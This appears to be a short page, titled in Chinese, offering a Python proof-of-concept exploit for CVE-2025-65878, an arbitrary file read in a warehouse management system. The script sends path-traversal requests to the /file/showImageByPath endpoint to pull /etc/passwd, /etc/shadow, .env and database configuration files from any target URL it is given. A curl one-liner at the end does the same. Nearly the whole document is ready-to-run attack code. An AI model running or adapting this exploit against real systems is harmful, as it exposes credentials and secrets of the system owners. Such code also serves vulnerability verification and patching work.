CVE-2025-65878 仓库管理系统任意文件读取漏洞

import requests import sys def exploit_cve_2025_65878(target_url): """ PoC for CVE-2025-65878: Warehouse Management System Arbitrary File Read Target: /file/showImageByPath endpoint """ # List of sensitive files to attempt to read sensitive_files = [ '../../../../etc/passwd', '../../../../etc/hosts', '../../../../etc/shadow', '../../../config/database.yml', '../../../.env', '../../../../var/log/syslog' ] print(f'[*] Target: {target_url}') print(f'[*] Exploiting CVE-2025-65878...') for file_path in sensitive_files: try: # Construct the malicious URL with directory traversal params = {'path': file_path} response = requests.get( f'{target_url}/file/showImageByPath', params=params, timeout=10 ) if response.status_code == 200 and len(response.content) > 0: print(f'[+] SUCCESS: Read {file_path}') print(f'Content preview: {response.text[:200]}...') return True except Exception as e: print(f'[-] Error reading {file_path}: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://vulnerable-site.com') sys.exit(1) exploit_cve_2025_65878(sys.argv[1]) # Alternative: Direct curl command # curl "http://target.com/file/showImageByPath?path=../../../../etc/passwd"